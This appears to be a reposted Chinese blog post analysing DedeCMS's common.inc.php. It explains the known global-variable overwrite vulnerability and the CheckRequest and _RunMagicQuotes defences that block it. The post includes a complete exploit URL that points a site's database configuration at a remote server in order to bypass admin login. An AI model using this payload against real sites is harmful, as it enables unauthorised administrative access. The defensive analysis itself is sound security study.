最近开始分析主流CMS源码,首先就是拿DEDE开刀,谁让我就用它时间长呢。
今天试着写了一个简单的插件,感觉还是比较简单的 只引入了一个common.inc.php 这个文件是dede的入口文件
今天开始研究了一下 common.inc.php 这个文件
发现了一个很有趣的事情
这篇日志主要是说的变脸覆盖问题
众所周知 php的 GLOBALS[′a′]=′aa′;这样就相当于定义了一个 a = ‘aa’;的全局变量 然后呢 有人就可以利用这个机制来做一些事情 最火的就是前一段时间的织梦变量覆盖漏洞
http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
直接这样写 替换下验证码 就可以登陆后台 因为 GLOBALS数组定义了一些全局变量 cfg_* 正好是 dede数据库配置的变量 然后 dede就误认为这个远程的数据库就是他的数据库 然后在远程精心策划一个和目标站点一样的数据库 用户名和密码 当然是自己知道的 就可以直接不要账号密码登陆了
当然 dede也给出了防御代码 具体可以来分析分析 会发现一个很有趣的事情
dede把所有的get post 等请求都给封装了下 然后 分配到每个变量
在common.inc.php 文件 第37行
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
{
exit('Request var not allow!');
}
$svar = addslashes($svar);
}
}
return $svar;
}
if (!defined('DEDEREQUEST'))
{
//检查和注册外部提交的变量 (2011.8.10 修改登录时相关过滤)
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
if($_k == 'nvarname') continue;
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val) )
{
exit('Request var not allow!');
}
}
}
//var_dump($_REQUEST);exit;
CheckRequest($_REQUEST);
foreach(Array('_GET','_POST','_COOKIE ') as $_request)
{
foreach($$_request as $_k => $_v)
{
if($_k == 'nvarname') ${$_k} = $_v;
else ${$_k} = _RunMagicQuotes ($_v);
}
}
}
这个就是抵抗变量覆盖的代码 ,这一段代码很有趣, 怎么个有趣呢 他首先会执行这个CheckRequest函数 然后参数是 REQUEST众所周知这个参数可以获取getpostcookie的值然后呢这个函数就会判断这个是否维数组如果是的话就继续递归调用这个函数当然为了防止多维数组他还CheckRequest( k); CheckRequest( val[ _k]); 这样递归调用 因为 上面那个 漏洞URL 就是一个多维数组 然后直到最后是字符串了 就会判断 如果字符串有值 或者字符串 是 cfg|GLOBALS|_GET|_POST|_COOKIE其中的一个 就会 终止程序 这样就有效的防止了 多维数组 来覆盖全局变量 最后还有个foreach循环 把所有的 ‘_GET’,’_POST’,’_COOKIE 都去_RunMagicQuotes过一遍 _RunMagicQuotes函数会把这些变量 加上个转义符 并且 会把每个参数 注册成一个变量 这样 比如说 get 数组 有个 ?a=aa 那么 就会生成一个变量 $a = aa 而且还是转义后的
转自gwyy